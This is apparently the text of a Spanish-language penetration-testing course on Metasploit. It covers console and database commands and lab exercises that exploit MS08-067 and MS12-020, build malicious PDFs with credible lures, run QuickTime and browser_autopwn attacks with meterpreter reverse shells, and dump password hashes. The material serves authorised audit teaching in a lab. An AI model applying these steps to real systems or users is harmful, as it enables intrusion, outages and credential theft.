Por defecto, este fichero se genera en el home del usuario en un directorio
oculto denominado .msf3, aunque dependerá de la versión de Metasploit
que se esté utilizando.
•
�����������������������������ﭯ
Audit. Sistemas – Metasploit -Práctica
4.- Comandos básicos de Metasploit – De interacción y configuración
• Comandos: resource y makerc
1. Abre una sesión de metasploit e introduce algunos de los comando vistos
hasta ahora.
2. Guarda la sesión en el archivo /root/msfcommands
3. Comprueba que en el fichero se han guardado todos los comandos.
Audit. Sistemas – Metasploit
4.- Comandos básicos de Metasploit – De interacción y configuración
• Comandos: save y jobs
• El comando save aporta persistencia a la configuración del entorno. Esto
es algo realmente útil cuando el test de intrusión es largo y con un gran
número de características. El fichero con la configuración se almacena en
el home del usuario en la carpeta oculta .msf3 y tiene como nombre
config. Cuando se lanza msfconsole, éste compmeba la existencia de dicho
fichero y si existe carga la configuración almacenada en él.
• El comando jobs muestra los módulos que se encuentran en ej ecución en
segundo plano o background. Este comando, además, permite finalizar
otros trabajos que se están ejecutando en segundo plano.
Audit. Sistemas – Metasploi
4.- Comandos básicos de Metasploit – De interacción y configuración
• Comando: run
El comando run permite realizar la ejecución de un módulo auxiliary
cargado en el contexto de la consola. Previamente se habrá de haber
realizado el comando “use” y su parametrización.
Audit. Sistemas – Metasploit
4.- Comandos básicos de Metasploit – De interacción y configuración
• Comando: route
• Este comando permite enrutar sockets a sesiones, disponiendo de
un funcionamiento similar al comando route en Linux. Además,
permite la adición de subredes, puertas de enlace o gateways y
máscaras de red. Este comando puede ser muy útil en la técnica
conocida como pivoting.
Audit. Sistemas – Metasploit
4.- Comandos básicos de Metasploit – De bases de datos
• Metasploit permite la u�lización de información almacenada en
bases de datos por otras herramientas de recogida de información y
análisis. Esta funcionalidad es de gran interés en un test de intrusión,
ya que en función de dicha información se pueden ir realizando
distintas pruebas sobre los sistemas de la organización.
Audit. Sistemas – Metasploit
4.- Comandos básicos de Metasploit – De bases de datos
• Comando: db connect
• El comando db_connect crea y conecta con la base de datos.
Previamente, se debe configurar el usuario en la base de datos. Este
comando prepara todas las tablas en la base de datos que se
u�lizarán en la recolección de información y análisis para almacenar
los datos obtenidos de los sistemas que se estén auditando.
• Por defecto Metasploit crea su propia base de datos. Un ejemplo de
este comando a aplicar (previamente hay que desconectarse de la de
metasploit):
• Msf> db_connect postgres:[email protected]/metasploit
Audit. Sistemas – Metasploit
4.- Comandos básicos de Metasploit – De bases de datos
• Comandos: db_nmap
El comando db_nmap ejecuta la herramienta nmap y almacena
todos los resultados del escaneo en las tablas preparadas en la base
de datos previamente. El auditor debe conocer los distintos
modificadores o parámetros de este escáner para sacar el máximo
provecho a este proceso. Con el parámetro help se muestra la ayuda
de db_nmap donde se pueden consultar los distintos modificadores
para los distintos tipos de escaneos.
Audit. Sistemas – Metasploit
4.- Comandos básicos de Metasploit – De bases de datos
• Comandos: db_autopwn
El comando db_autopwn ayuda al auditor a lanzar una colección de
exploits frente a una o varias máquinas de las cuales se ha obtenido
información, como pueden ser puertos abiertos, versiones de
productos detrás de dichos puertos, versiones del sistema operativo,
etcétera. Este comando es conocido como la metralleta de
Metasploit (y de Emilio) y automatiza en gran parte el proceso del
lanzamiento de exploits sobre vulnerabilidades descubiertas. Hay
que tener en cuenta que en las últimas versiones de Metasploit, en su
edición Community, este comando ha sido eliminado.
Audit. Sistemas – Metasploit
4.- Comandos básicos de Metasploit – De bases de datos
• Comandos: db_autopwn
Para seguir usándolo se recomienda actualizar manualmente el
framework y no utilizar el comando msfupdate. Parámetros:
• -t: Muestra todos los exploits que se están probando
• -x: Selecciona los módulos basados en vulnerabilidades referenciadas
• -p Selecciona los módulos basados en puertos abiertos
• -e Lanza exploits contra todos los equipos objetivo
• -r Utiliza una shell inversa tras la explotación
• -b Utiliza una shell atada a un puerto aleatorio
• -R: se le pasa un rank, para sólo seleccionar módulos con cierto nivel. La ejecución
sería db_autopwn -p - t -e -r -R good
Audit. Sistemas – Metasploit
4.- Comandos básicos de Metasploit – De bases de datos
• Comandos: hosts y services
• El comando hosts lista las máquinas que se encuentran alojadas en la
base de datos tras un escaneo. Proporciona información interesante sobre
los distintos equipos que serán auditados y de los que se disponen datos.
Se pueden observar datos como el sistema operativo de la máquina,
dirección MAC, la versión del service pack y más información de utilidad.
Tiene bastantes opciones para realizar búsquedas.
• El comando services lista los servicios correspondientes a una máquina
tras un escaneo. Con el parámetro –o permite la exportación a un archivo
“csv” para importarlo en otra herramienta.
Audit. Sistemas – Metasploit
4.- Comandos básicos de Metasploit – De bases de datos
• Comandos: db_export y db_ import
• El comando db_export exporta los contenidos de la BBDD a un
fichero. Ejemplo:
• Msf> db_export –f xml /root/archivomsf.xml
• El comando db_ import importa un fichero generado por otra
aplicación, como nmap (xml), nessus, etc. para utilizarse con
Metasploit.
Audit. Sistemas – Metasploit
4.- Comandos básicos de Metasploit – De bases de datos
• Comandos: workspace
• Metasploit permite la utilización de distintos espacios de trabajo en
su BBDD. Es posible que sea necesario realizar diferentes análisis en
varios segmentos de una empresa por lo que esta opción nos
permitirá “segmentar” nuestra auditoría. Con workspace podremos
definir, seleccionar y eliminar espacios de trabajo del siguiente
modo:
• msf> workspace –a <workspace>: crea un workspace
• Msf>workspace –d <workspace>: elimina un workspace
• Msf>workspace <nombre ws>: selecciona un workspace
Audit. Sistemas – Metasploit
4.- Comandos básicos de Metasploit – De bases de datos
• Comandos: creds y loot
• Con el comando creds, el sistema nos mostrará cualquier credencial
que se haya encontrado en algún momento de la explotación de
una vulnerabilidad.
• El comando loot, tras una extracción de los dump de un SO
(Windows o Linux) nos permitirá listar esta información que habrá
quedado almacenada en la BBDD.
Audit. Sistemas – Metasploit - Práctica
4.- Comandos básicos de Metasploit – De bases de datos
1. Con los comandos aprendidos anteriormente, crear dos espacios de
trabajo para metasploit: ildefe y fuldefe.
2. Para el primero realizar un escaneo de la red local con el comando
apropiado que almacene la información del SO en la BBDD del
rango 10.52.0.2-25 y del segundo del rango 10.52.0.26-50
3. Verificad que la información se ha almacenado en las BBDD de los
distintos espacios de trabajo
4. Eliminad los espacios de trabajo creados.
Audit. Sistemas – Metasploit
4.- Recogida de información
En otros módulos previos ya vimos cómo realizar esta tarea, Metasploit
también nos permite realizar esta tarea.
Estas fases necesitan de gran paciencia por parte del auditor, no son las
fases más vistosas del test de intrusión, pero si son fases necesarias en las
que el profesional debe obtener el mayor número de información precisa
acerca de como trabajan sus objetivos sin revelar la presencia del auditor o
las intenciones de éste. La u�lización de google hacking, crear mapas de
red de la organización para entender mejor la infraestructura de la
empresa, planificar las acciones, investigar y el pensar como un atacante
son buenas prácticas que pueden ayudar al auditor a llevar a cabo con éxito
esta fase y el resto de las fases del test de intrusión.
Audit. Sistemas – Metasploit
4.- Recogida de información
• La integración de escáneres de vulnerabilidades con Metasploit
aporta gran flexibilidad y funcionalidad a las fases primarias del test
de intrusión.
• Como hemos visto el footprinting consiste en la búsqueda de
cualquier tipo de información pública, la cual ha sido publicada a
propósito o con desconocimiento de la organización.
• El fingerprinting consiste en analizar las huellas que dejan las
máquinas, por ejemplo para obtener el sistema operativo, la versión
de una aplicación, puertos abiertos, existencia de firewalls , etc.
Audit. Sistemas – Metasploit
5.- Escaneo de vulnerabilidades
Los escáneres de vulnerabilidades permiten al auditor evaluar
sistemas informáticos, equipos, redes, verificar actualizaciones,
versiones, etcétera. Ya hemos visto Nessus, OpenVas, etc., los cuales
ayudan al auditor a realizar distintas pruebas y poder llegar a ciertas
conclusiones sobre el status de seguridad de una organización. Los
escáneres disponen de un objetivo común, enumerar vulnerabilidades
de seguridad en uno o más equipos de una red u organización.
Audit. Sistemas – Metasploit
5.- Escaneo de vulnerabilidades
• Metasploit dispone de la posibilidad de importar archivos de escaneos
realizados con gran cantidad de escáneres de vulnerabilidades. Esta
funcionalidad aporta un nivel de integración del framework enorme con las
herramientas de seguridad que se encuentran en el mercado:
• Nessus XML y NBE
• Acunetix XML
• Amap XML
• MBSA XML
• Nmap XML
• Y un largo etcétera
Audit. Sistemas – Metasploit
5.- Escaneo de vulnerabilidades – Nessus
• Nessus es uno de los escáneres con mayor flexibilidad y u�lización en el
mundo de la auditoría. La exportación a ficheros de estos escaneos es
una funcionalidad muy interesante para poder exportar los resultados a
Metasploit. Se pueden importar ficheros de tipo NBE y XML creados con la
herramienta, los cuales serán importados con el comando db_import,
previa conexión de la base de datos.
• Por otro lado Metasploit dispone de un plugin el cual permite utilizar la
herramienta nessus en el entorno de msfconsole e incluir los resultados
directamente en la base de datos de Metasploit. Este plugin es cargado
mediante el comando “load nessus” en una sesión de msfconsole.
Audit. Sistemas – Metasploit
5.- Escaneo de vulnerabilidades – Nessus
• Como nos ha ocurrido previamente (openVAS), para poder integrarlo,
necesitaremos una cuenta de nessus obteniendo un código de ac�vación
en la siguiente URL http://www.nessus.org/products/nessus/nessus-
plugins/obtain-an-activation-code. Tras obtener el email con el código de
ac�vación se deben seguir las instrucciones que acompañan al correo
electrónico para llevar a cabo el proceso de registro.
• Para usar nessus con la consola de MSF es necesario tener bastante
pericia (aunque veremos una PoC) por lo que para nuestro caso,
usaremos la exportación del XML desde la herramienta que ya tenemos
instalada.
Audit. Sistemas – Metasploit - Práctica
5.- Escaneo de vulnerabilidades – Nessus
1. Arranca Nessus desde la kali
2. Realiza un escaneo de la red local (básico)
3. Exporta los resultados a un archivo tipo .nessus
4. Crea un espacio de trabajo en MSF que se llame nessus
5. Importa los resultados sobre metasploit con db_import
6. Verifica que se ha importado la información.
Audit. Sistemas – Metasploit
5.- Escaneo de vulnerabilidades – MSBA
• Ya sabemos que Microsoft Baseline Security Analyzer, o MBSA, es
una herramienta que permite a los profesionales TI y auditores
determinar el estado de seguridad según las recomendaciones de
Microsoft.
• Este escáner dispone de una interfaz gráfica y de un cliente de línea
de comandos. El cliente de línea de comandos es más versátil y
proporciona un mayor número de funcionalidades al auditor. Una
de las más interesantes es la posibilidad de exportar a un fichero
XML la información recogida por el escáner.
• C:>msbacli.exe /target 10.52.0.X /o archivo.xml
Audit. Sistemas – Metasploit - Práctica
5.- Escaneo de vulnerabilidades – MBSA
1. Arranca MBSA (máquina anfitriona)
2. Realiza un escaneo de un equipo o de la red
3. Exporta los resultados a un archivo tipo xml (modo consola aunque
también el modo gráfico lo puede hacer –comprobar-)
4. Crea un espacio de trabajo en MSF que se llame mbsa
5. Importa los resultados sobre metasploit con db_import
6. Verifica que se ha importado la información.
Audit. Sistemas – Metasploit
5.- Escaneo de vulnerabilidades – Técnica Autopwn
• La funcionalidad autopwn permite al auditor automatizar el proceso del
test de intrusión. El auditor realizará un análisis o escaneo sobre una red y
en función de los resultados, autopwn, lanzará una serie de exploits que
pueden provocar la obtención de acceso remoto al sistema vulnerable.
• Autopwn se apoya en una base de datos, la cual en este módulo se ha
visto como crear y como conectar con ella.
• El comando para interactuar con la funcionalidad es db_autopwn. Hay
que tener en cuenta que en las últimas versiones de Metasploit, se ha
deshabilitado esta funcionalidad, por lo que se recomienda al auditor que
tenga cuidado al actualizar el framework, si no quiere perder dicha
funcionalidad.
Audit. Sistemas – Metasploit
5.- Escaneo de vulnerabilidades – Técnica Autopwn
• Una “ñapa” existente es colocar el plugin autopwn (CC) en la ruta de
plugins de Metasploit (#locate metasploit-framework/plugins) después
de cerrar Metasploit y parar el servicio de postgresSQL:
• #service postgresql stop
• Tras esto, volvemos iniciar postgresSQL (#service postgresql start) y MSF desde el menú
de aplicaciones y tratamos de cargar el plugin con el comando “load db_autopwn”. En
principio ya debería estar cargado. Podemos comprobarlo ejecutando (nos mostrará la
ayuda):
• Msf> db_autopwn
• Es recomendable ver la salida del comando de ayuda para conocer más
acerca de este plugin.
Audit. Sistemas – Metasploit
5.- Escaneo de vulnerabilidades – Técnica Autopwn & nmap - PoC
• En la siguiente prueba de concepto se va a realizar una conexión a
una base de datos local con Metasploit, después se u�lizará la
integración de nmap con el framework para realizar un
descubrimiento de máquinas sobre una red, obteniendo entre otros
valores los puertos abiertos de dichas máquinas. Por último, se
lanzará la funcionalidad autopwn con el objetivo de probar la
fortaleza y seguridad de los equipos de esa red objeto de estudio
(FULDEFE PWR).
Audit. Sistemas – Metasploit
5.- Escaneo de vulnerabilidades – Técnica Autopwn & nmap - PoC
• En primer lugar, tras lanzar msfconsole, se conecta el framework a la base
de datos, se crea un workspace para nmap (workspace –a nmap) y se
lanza un nmap sobre la red de estudio (db_nmap –O –sS 10.52.0.2-254).
La información de nmap queda almacenada en la base de datos, la cual
puede ser recuperada en cualquier instante, por si fuera necesario.
• Ahora se dispone de lo necesario para lanzar autopwn sobre los equipos
que se requiera. No está de más disponer cerca los parámetros de
autopwn (ayuda) y decidir sobre qué equipos se lanza, quizá no sea
necesario lanzarlo sobre todos los equipos que forman parte de la red.
Quizá sólo de los que tengan algunos servicios abiertos.
Audit. Sistemas – Metasploit
5.- Escaneo de vulnerabilidades – Técnica Autopwn & nmap - PoC
• Para ello, lo primero será realizar una consulta de los equipos que hemos
detectado con el comando “hosts” y a continuación lanzar el comando
db_autopwn (tras cargar el plugin “load db_autopwn”)
• Msf> db_autopwn –p –t –e –r –I 10.52.0.2-10.52.0.254
• Tras el lanzamiento de autopwn toca esperar hasta que la recolección y
ejecuclOn de exploits termine. Cuanto mayor sea el número de máquinas
mayor tiempo llevará el proceso de prueba.
• Recordar que los pentesters más puristas indican que el test de intrusión
debe estar siempre controlado y saber qué exploits se ejecutan en cada
momento, a la vez que no probar algo si no se tiene la certeza de que
puede existir una vulnerabilidad.
Audit. Sistemas – Metasploit
5.- Escaneo de vulnerabilidades – Técnica Autopwn - PoC
La primera Intrusión
Audit. Sistemas – Metasploit
8.- Intrusión sin interacción
• El lanzamiento de exploits sobre máquinas objetivo sin interacción
por parte del usuario es uno de los puntos que más puede asustar a
los usuarios y propietarios de máquinas o empresas. Esta situación
es crítica ya que si una máquina es vulnerable a un exploit el cual no
requiera de interacción por parte del usuario, cualquier atacante
podría tomar el control remoto de dicho equipo sin que el usuario
notase, a priori, nada extraño.
• A continuación se van a proponer algunos ejemplos mediante el uso
de pruebas de concepto en elque se podrá estudiar la configuración
y ejecución de este tipo de exploits y situaciones.
Audit. Sistemas – Metasploit
8.- Intrusión sin interacción – PoC ms08-067
• En esta prueba de concepto se hará uso de la vulnerabilidad MS08-
067, de la que se puede obtener más información y detalles en el
siguiente sitio web
http://www.microsoft.com/latam/technet/seguridad/boletines/2
008/ms08-067. mspx.
• En primer lugar, tras arrancar msfconsole, se puede realizar una
búsqueda por servicio, tecnología, aplicación, mediante el comando
“search”, por ejemplo search netapi. Se obtiene así una lista con los
módulos que encajan con el patrón de búsqueda introducido
anteriormente.
Audit. Sistemas – Metasploit
8.- Intrusión sin interacción – PoC ms08-067
• Para cargar el módulo se utiliza el comando use, y una vez cargado se
pueden configurar sus variables para lanzar el exploit sobre el objetivo. El
cual en esta prueba de concepto es una máquina Windows XP SP3.
• Hay que recordar que los comandos info o help ayudan a obtener
información sobre el módulo o sobre los comandos que se pueden utilizar.
Además, el comando show aporta información, por ejemplo, sobre las
opciones con las que se puede configurar el exploit y las opciones que
dispone el payload, o los payloads disponibles para este módulo con show
payloads, o incluso los target compatibles con el. módulo con show
targets (nos muestra el tipo de SO “compatible” con el ataque).
Audit. Sistemas – Metasploit
8.- Intrusión sin interacción – PoC ms08-067
• Una vez cargado el módulo, si se ejecuta show options se muestran
las variables para configurar el exploit. En este ejemplo, se configura
la variable RHOST para indicar cual es la máquina objetivo.
• Además, se debe indicar en la variable PAYLOAD (set PAYLOAD
/windows/meterpreter/reverse_tcp) cual de ellos se quiere ejecutar.
Una vez indicado el payload si se vuelve a ejecutar el comando show
options se puede observar como aparecen,además de las variables
de configuración del exploit, las variables de configuración del
payload.
Audit. Sistemas – Metasploit
8.- Intrusión sin interacción – PoC ms08-067
• Es muy importante entender distintos conceptos en el
comportamiento de los payload en función de si son inversos,
reverse, o directos, bind.
• En la prueba de concepto se ha utilizado un payload meterpreter de
conexión inversa, por lo que se debe configurar al código del payload
dónde se debe conectar mediante la variable LHOST, es decir, a la
dirección IP del atacante o de un servidor que recoja las conexiones
que se encuentre bajo el control del atacante.
Audit. Sistemas – Metasploit
8.- Intrusión sin interacción – PoC ms08-067
• Por otro lado, se podría haber utilizado un payload con conexión
directa, bind. En ese caso, en vez de aparecer la variable LHOST en la
configuración del payload, aparecería la variable RHOST, que debe
ser la dirección IP de la máquina a la que se quiere acceder.
• Hay que saber que en un payload de conexión directa, es el auditor
quién se conecta a la víctima. Tras el lanzamiento del exploit, se deja
en un puerto a la escucha, por ejemplo, una shell, y es entonces el
auditor quién se conecta a ese puerto dónde espera la shell remota.
Audit. Sistemas – Metasploit
7.- El arte de la intrusión – La primera Intrusión - PoC
• El comando check permite verificar si el equipo remoto es
vulnerable al módulo cargado, por esto, antes de lanzar el exploit se
puede utilizar este comando para verificar la vulnerabilidad. Una
vez verificada se lanza el comando exploit, y se obtiene la sesión
remota, en este caso de meterpreter.
Audit. Sistemas – Metasploit - Práctica
7.- El arte de la intrusión – La primera Intrusión - PoC
• Tratemos de reproducir el ataque sobre la máquina virtual XP SP3
pero con una shell TCP de tipo Bind.
Audit. Sistemas – Metasploit
8.- Intrusión sin interacción - PoC ms12-020
• En esta PoC no se realiza un proceso de intrusión, pero sí se
comprueba la seguridad de los servicios de los que puede disponer
una empresa, cuyas caídas pueden provocar pérdidas a éstas, ya sea
de forma privada o pública. En este ejemplo se utilizará la
vulnerabilidad MS12-020 de la que se puede obtener mayor
información en la siguiente URL: http://technet.microsoft.com/es-
essecurity/bulletin/ms12-020. La máquina objetivo en el siguiente
escenario será un Windows 7 con SP1 de 64 bits. También son
posibles targets las siguientes versiones de los sistemas operativos
XP, 2003,2008 ó 2008 R2.
Audit. Sistemas – Metasploit
8.- Intrusión sin interacción - PoC ms12-020
• En primer lugar, la víctima debe disponer de una configuración
concreta de su servicio de escritorio remoto. Como se puede
visualizar en la imagen existen 3 opciones en Windows 7,
lógicamente, si nose permiten conexiones no se podrá realizar la
denegación de servicio, y por otro lado, si se configura que sólo se
permitan las conexiones desde equipos que ejecuten escritorio
remoto con autenticación a nivel de red tampoco. Por lo que si la
víctima dispone de la configuración permitir conexiones que ejecuten
cualquier versión de escritorio remoto, puede ser vulnerable si no ha
actualizado con la corrección de la vulnerabilidad.
Audit. Sistemas – Metasploit
8.- Intrusión sin interacción - PoC ms12-020
Audit. Sistemas – Metasploit
8.- Intrusión sin interacción - PoC ms12-020
• El módulo a usar será auxiliary/dos/windows/rdp/ms12 020_
maxchannelids.
• Una vez se dispone del módulo en el framework se accede a él y se
configura, de manera sencilla, el equipo remoto al que se quiere
denegar el servicio. Si todo va bien, se obtendrá un mensaje que
enuncia seems down. Si la máquina a auditar dispusiera de un
servicio de escritorio remoto en otro puerto que no sea el de por
defecto, se puede utilizar la variable RPORT para indicar cual es el
puerto que se está utilizando.
Audit. Sistemas – Metasploit
8.- Intrusión sin interacción - PoC ms12-020
• Si el exploit funciona, la máquina se reiniciará tras realizar un volcado
de memoria. ¿Y si tras volverse a levantar se le vuelve a realizar una
denegación de servicio? ¿Y si la máquina no está configurada para
reiniciarse y queda fuera de servicio hasta su reinicio manual? Estas
preguntas son bastante lógicas, y la realidad es que si la máquina es
vulnerable la empresa tiene un gran problema, el cual debería ser
solucionado con la aplicación del parche para evitar este agujero.
Audit. Sistemas – Metasploit - Práctica
8.- Intrusión sin interacción - PoC ms12-020
• Tratemos de reproducir el ataque sobre la máquina virtual Win 7.
Audit. Sistemas – Metasploit
9.- Intrusión con interacción
• Client side atlack o ataques del lado del cliente, son ataques que
permiten al atacante tomar el control de una máquina víctima
explotando una vulnerabilidad de una aplicación que es ejecutada
por el usuario. Este tipo de ataques son muy frecuentes, cada vez
son más complejos y provocan que la víctima no sepa realmente lo
que está haciendo con su máquina.
• Esta técnica consiste en crear, ya sea un fichero, un servicio, o una
aplicación, con fines maliciosos con el objetivo de obtener acceso a
la máquina de la víctima, ya sea por red local o por Internet.
Audit. Sistemas – Metasploit
9.- Intrusión con interacción – PoC archivos adjuntos
• En esta prueba de concepto se utilizará la posibilidad de crear archivos
maliciosos con el fin de que las víctimas lo ejecuten mediante el uso de
una aplicación vulnerable. En la prueba se utiliza una vulnerabilidad de la
famosa herramienta Adobe Reader, la cual es vulnerable en sus versiones
8.x (CC)y 9.x del producto.
• En este ejemplo se ha decidido explotar esta vulnerabilidad debido a que
afecta a los archivos PDF, muy utilizados en Internet, y a una de las
herramientas que disponen la mayoría de los usuarios para visualizar este
tipo de archivos. Existen otras vulnerabilidades de este tipo, comúnmente
conocidas como FileFormat, en el que se pueden crear documentos
ofimáticos de aplicaciones muy utilizadas como Word o Excel, o archivos
de listas de reproducción de iTunes, cuyos fines son maliciosos.
Audit. Sistemas – Metasploit
9.- Intrusión con interacción – PoC archivos adjuntos
• Una de las vías de distribución de este ataque sería, por ejemplo en
el contexto de una gran empresa, el correo electrónico. Mediante la
utilización de un servidor de correo electrónico se podría hacer llegar
este tipo de archivos a toda una organización y con alta probabilidad
habría usuarios que ejecutarían estos archivos. Otra de las vías, sería
colgar estos archivos en foros, blogs, sitios web bajo el control del
atacante, etc. Como siempre, todo depende de la imaginación del
atacante/auditor y de la calidad de su ingeniería social.
Audit. Sistemas – Metasploit
9.- Intrusión con interacción – PoC archivos adjuntos
• El exploit se encuentra alojado en
exploit/windows/fileformat/adobe_pdf_embedded_exe en la ruta
relativa a msfconsole. Si se miran los targets, se encuentra que sólo
funciona para Windows XP SP3 versión inglesa y española.
Audit. Sistemas – Metasploit
9.- Intrusión con interacción – PoC archivos adjuntos
• En la siguiente información se pueden visualizar algunos parámetros
interesantes a configurar tras la carga del módulo
adobe_pdf_embedded_exe.
• EXENAME. Nombre del ejecutable del payload, si no se indica se autogenera
uno.
• FILENAME. Se indica el nombre que recibirá el PDF malicioso.
• INFILENAME. Se indica la ruta donde se encuentra el PDF real que se
utilizará para mostrar a la víctima (tenéis un pdf en la CC).
• LAUNCH MESSAGE. Mensaje que visualizará la víctima, el cual si ejecuta se
realizará la- explotación. Debe ser un mensaje creíble.
Audit. Sistemas – Metasploit
9.- Intrusión con interacción – PoC archivos adjuntos
• Además, hay que configurar el parámetro PAYLOAD, en este ejemplo se
ha utilizado set PAYLOAD windows/meterpreter/reverse_tcp. Indicando a
qué IP se tiene que conectar el payload.
• Una vez configurado se ejecuta el comando exploit y se genera el fichero
PDF malicioso. Se puede empezar la distribución mediante el correo
electrónico, pero a la vez se debe estar preparado para recibir las
conexiones o sesiones remotas. Para ello se carga en msfconsole el
módulo exploit/multi/handler. Este manejador sirve para que cuando la
víctima ejecute el archivo y el payload realice la conexión inversa al
atacante, este módulo gestionará este proceso dando acceso al atacante a
la máquina remota .
Audit. Sistemas – Metasploit
9.- Intrusión con interacción – PoC archivos adjuntos
• Este módulo se configura de manera sencilla, simplemente se debe
indicar que tipo de payload se espera y cual es la dirección IP local, es
decir, a la que el payload se va a conectar.
• Set PAYLOAD windows/meterpreter/reverse_tcp
• Set LHOST <nuestra_IP> <puerto –opcional->
• Una vez que las posibles víctimas han abierto el correo, han ejecutado el
archivo PDF y disponen de una versión de la aplicación vulnerable se
muestra un warning al usuario. Es por ello que el mensaje que se
introduzca en el parámetro LAUNCH_MESSAGE es importante que sea
creíble, un toque de ingeniería social. El usuario pulsa sobre open y se
estará ejecutando el payload en la máquina de la víctima.
Audit. Sistemas – Metasploit - Práctica
9.- Intrusión con interacción – PoC archivos adjuntos
• Intenta reproducir el ataque sobre una máquina virtual con la versión
de Acrobat Reader instalada. En vez de unar un payload de shell
inversa, usa una directa (bind_tcp).
• Probad a “infectaros” más de un usuario con un pdf generado por un
único “atacante/auditor”.
Audit. Sistemas – Metasploit
9.- Intrusión con interacción – PoC archivos adjuntos
• Posibilidad de mantener la sesión (migración de proceso)
Audit. Sistemas – Metasploit
9.- Intrusión con interacción – PoC Quicktime
• A finales del año 2010, salió una de las vulnerabilidades más importantes
en los últimos tiempos en lo que se refiere a Apple y sus productos.
Rubén Santamarta, investigador de seguridad leonés (de España no de
Guanajuato), sacó a la luz pública esta vulnerabilidad y su correspondiente
exploit el cual permitía a un atacante ejecutar código arbitrario en las
versiones XP de Windows con SP3.
• Esta vulnerabilidad se encontraba escondida en QuickTime Player y
llevaba 9 años ahí. La vulnerabilidad se debe a un parámetro denominado
_Marshaled_pUnk, en el visor de QuickTime que se utiliza para cargar
elementos desde la ventana.
Audit. Sistemas – Metasploit
9.- Intrusión con interacción – PoC Quicktime
• El escenario de la prueba de concepto es el siguiente: existe un
atacante, con una distribución Kali que quedará a la espera de que
las víctimas, que ejecuten una versión de QuickTime 7.6.6 (CC) o
inferior, se conecten a un recurso propuesto por el atacante. ¿Cómo
se logra que las víctimas se conecten a la máquina del atacante?
Esta pregunta tiene muchas respuestas, y normalmente se puede
contestar con la palabra imaginación.
• DNS Spoof (local), iframe, etc.
Audit. Sistemas – Metasploit
9.- Intrusión con interacción – PoC Quicktime
• Tras buscar marshaled en el framework se carga el módulo y se
prepara el entorno para que cuando el cliente realice la petición y
ejecute la aplicación vulnerable, el exploit realice el trabajo y
devuelva el control de la máquina remota.
Audit. Sistemas – Metasploit
9.- Intrusión con interacción – PoC Quicktime
• La configuración es sencilla, se deben asignar valores a las variables o
a los parámetros siguientes:
• SRVHOST. La dirección IP (kali) dónde se implementa el recurso malicioso o
exploit
• SRVPORT. Se debe indicar el puerto que quedará a la escucha, para simular
un recurso web es importante asignarlo en el 80
• URIPATH. Recurso al que se quiere acceder en el server (ruta URL por ejemlo
/descargas).
• PAYLOAD. Se debe indicar el payload a ejecutar en la máquina vulnerable
Audit. Sistemas – Metasploit
9.- Intrusión con interacción – PoC Quicktime
• Pueden llegar peticiones de muchas víctimas, en función del
método de distribución que se haya realizado, cuantas más
peticiones lleguen mayor probabilidad de éxito.
Audit. Sistemas – Metasploit - Práctica
9.- Intrusión con interacción – PoC Visita mi web
• Uno de los vectores de ataque más utilizados son los navegadores
web. Por ello es un tipo de vector que vamos a analizar y ver cómo
explotar.
Audit. Sistemas – Metasploit
9.- Intrusión con interacción – PoC Visita mi web
• En esta Poc pueden llegar peticiones de muchas víctimas, en función
del método de distribución que se haya realizado, cuantas más
peticiones lleguen mayor probabilidad de éxito.
• Para este ejemplo usaremos el exploit Browser_autopwn (o su
versión 2 –auxiliary/server/browser_autopwn-). Se trata de un
exploit que usa las vulnerabilidades de los navegadores cuando
estos visitan un sitio web malicioso.
Audit. Sistemas – Metasploit
9.- Intrusión con interacción – PoC Visita mi web
• Para iniciar el exploit, una vez que lo hemos cargado, hemos de
parametrizarlo con las opciones adecuadas:
• LHOST. La dirección IP para las conexiones inversas de los payload (la
máquina atacante)
• SRVPORT. Se debe indicar el puerto por el que escuchará el módulo. 8080 es
una buena opción
• URIPATH. Recurso al que se quiere acceder. En el ejemplo se indica /
• Tras establecer los parámetros, se ejecuta (exploit o run) y comienza
la carga de los exploits que usará así como la indicación de las URL
que se usarán para cada exploit.
Audit. Sistemas – Metasploit
9.- Intrusión con interacción – PoC Visita mi web
Audit. Sistemas – Metasploit
9.- Intrusión con interacción – PoC Visita mi web
• En nuestra PoC lo estamos usando en una red local pero en un
ataque real, esta petición se realizaría a un dominio público
adquirido para distribuir malware o que también ha sido
comprometido y dispone de un kit de explotación detrás.
• Una vez que la víctima accede al sitio web, el servidor malicioso
comienza a hacer su trabajo, el módulo de Metasploit recibirá la
petición y lanzará los exploits disponibles para esa versión del
navegador (automáticos, itentará que descargue un plugin, etc.). Una
vez que Metasploit empieza a realizar este trabajo sólo queda
esperar a conseguir la sesión inversa.
Audit. Sistemas – Metasploit
9.- Intrusión con interacción – PoC Visita mi web
• Es muy interesante observar que cuando se ha conseguido la sesión
inversa de Meterpreter, se ha migrado la consola a otro proceso, lo
cual provoca que aunque el navegador se cierre o se bloqueé, la
conexión no se perderá.
Audit. Sistemas – Metasploit
9.- Intrusión con interacción – PoC Visita mi web
• Para poder ver, en caso de que se explote alguna vulnerabilidad, las
sesiones que abre el exploit, tendremos que introducir el comando:
• “sessions –i” en la consola de MSF
• “sessions –i <número>” para interactuar con el equipo “envenenado” a través
de una consola.
Audit. Sistemas – Metasploit - Práctica
9.- Intrusión con interacción – PoC Visita mi web
• Vamos a intentar reproducir el ataque:
1. Instala la versión de FireFox de la CC en Win XP y Win 7 (Virtuales)
2. Abrimos MSF desde Kali y cargamos el exploit
3. Lo parametrizamos y lo lanzamos
1. Nos vamos a una máquina víctima e introducirmos la URL que nos ha dado el exploit
(IP más rutaURL si lo hemos parametrizado correctamente)
4. Si nos ha creado alguna sesión gracias al exploit, nos conectamos e
intentamos lo siguiente:
1. Crear una carpeta en la víctima
2. Extraer los hash de contraseña de la víctima con #hashdump
Audit. Sistemas – Metasploit
10.- Automatizando las órdenes
• Tras ver la parte de intrusión o explotación de sistemas, en la que si se
consigue el éxito la adrenalina sube a gran velocidad, hay que pensar de
nuevo en el proceso completo del test de intrusión. Anteriormente, se ha
estudiado como la recogida de información y descubrimiento de servicios
es algo que puede llevar bastante tiempo, pero es algo que puede ser
automatizado, ya que generalmente, esta parte del proceso tiene más
aspectos de procedimental que de artístico.
• La automatización de las tareas a realizar en Metasploit es un proceso
que puede ayudar al auditor a minimizar tiempos. Como se ha
mencionado anteriormente, en un test de intrusión existe una parte de
procedimiento, el cual en condiciones normales es siempre igual.
Audit. Sistemas – Metasploit
